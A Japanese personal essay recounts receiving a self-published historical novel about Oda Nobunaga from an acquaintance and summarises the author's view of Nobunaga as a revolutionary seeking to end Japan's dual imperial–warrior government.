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織田信長

昨年の「Fさんを囲む会」のゴルフ旅行は蓼科だったが、その時、Fさんが自費で出版された本を、参加者一人一人にプレゼントして下さった。題名は「織田信長」。400頁に及ぶ大作だ。

僕等の知るF氏は、数学者で思想家、哲学者でプロデューサーだったから、本を書いていると聞いた時は、そういう分野の論文かと思っていた。それが歴史小説だったことに僕は先ずビックリした。

しかしながら、70歳を過ぎて、これだけの長編小説を書かれたFさんの意志の強さとバイタリティーには感服せざるを得なかった。そして、息子さんを亡くされたあと、自らを奮い立たせるように書かれたであろうFさんの鬼気迫る姿が想像される。

内容を読んで更に驚いた。それまでの信長像は、どちらかと言えば、群雄割拠の状況から勝ち上がり、遂に天下を取るかと思われた寸前で暗殺された戦国武将として描かれることが多かったと思う。それは、封建領主の雄としての信長だが、F氏の信長は、それとは大きく異なり、「唯一、国家概念を持って己の思想実現を目指した革命家」「大衆からは神に見えた信長」が描かれている。

信長は、各地で領地を巡る戦が多発し、これ程多くの人間が死に、これ程多くの民衆が苦しんでいるのに、それらの争いを抑えられず放置しているのは、力を失ったとは言え時の政府、足利幕府と朝廷の責任だと思っている。彼らが天下を治める能力がないなら、誰か力のある人間が彼らに代わって政権を担当し、一日も早くこの国を荒廃から救うべきであると考えていた。

信長は隣国美濃の斉藤氏を滅ぼした時、自分が国家運営に当たると誓い、密やかに宣言した。中国の故事(周の王が岐山から天下を臨む)に倣って「井ノ口」という場所を「岐阜」に改名したのがそれだ。

また、信長が掲げた「天下布武」は一般に「武力を持って天下を取る」という信長の決意と受け止められているが、本当は「武家の政権を以て天下を治める」という意味であり、平安期からこの国を曖昧にして来た二重政権、即ち、朝廷と武家政権という権力の重複を廃し、信長自らが唯一無二の最高権力者となって全責任をもってこの国を統一し、戦のない国を作るという信長のマニュフェストだった。

もし、信長が本能寺で暗殺されなければ、それ以前の時代から続き、後の徳川時代も変わらなかった封建制ではなく、絶対君主制を敷いた筈だ。何故なら、二重政権を終焉させ、国の統治体制を変えることが革命家信長の国家ビジョンだったのだから、とFさんは主張する。

この日本特有の長期に亘る二重政権の存在は、責任の曖昧性という世界的にも極めて異質なDNAを、現代の日本人にもたらしているとF氏が指摘している。
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